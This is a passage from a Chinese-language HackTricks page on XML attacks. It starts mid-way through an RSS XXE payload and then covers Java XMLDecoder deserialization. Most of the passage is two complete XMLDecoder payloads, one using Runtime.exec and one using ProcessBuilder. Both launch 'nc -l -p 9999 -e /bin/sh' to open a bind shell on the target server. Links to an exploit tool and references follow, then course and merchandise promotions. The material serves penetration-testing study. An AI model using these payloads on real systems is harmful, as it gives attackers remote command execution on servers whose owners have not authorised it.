<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
```

## Java XMLDecoder XEE to RCE

XMLDecoder是一个Java类，它根据XML消息创建对象。如果恶意用户可以让应用程序在调用**readObject**方法时使用任意数据，他将立即在服务器上获得代码执行权限。

### 使用Runtime().exec()

```xml
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
</void>
</object>
</java>
```

### ProcessBuilder

### ProcessBuilder

```xml
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
<void method="start" id="process">
</void>
</void>
</java>
```

## 工具

{% embed url="<https://github.com/luisfontes19/xxexploiter>" %}

## 参考资料

* <https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf>\\
* <https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html>\\
* 通过使用自己的外部 DTD 从 HTTP 中提取信息: <https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/>\\
* <https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection>\\
* <https://gist.github.com/staaldraad/01415b990939494879b4>\\
* <https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9>\\
* <https://portswigger.net/web-security/xxe>\\
* <https://gosecure.github.io/xxe-workshop/#7>

<figure><img src="/files/YM7uBW8YtIhrJWT3a6lG" alt=""><figcaption></figcaption></figure>

{% embed url="<https://websec.nl/>" %}

<details>

<summary><strong>从零开始学习 AWS 黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

支持 HackTricks 的其他方式:

* 如果您想看到您的 **公司在 HackTricks 中做广告** 或 **下载 PDF 版本的 HackTricks**，请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。

</details>
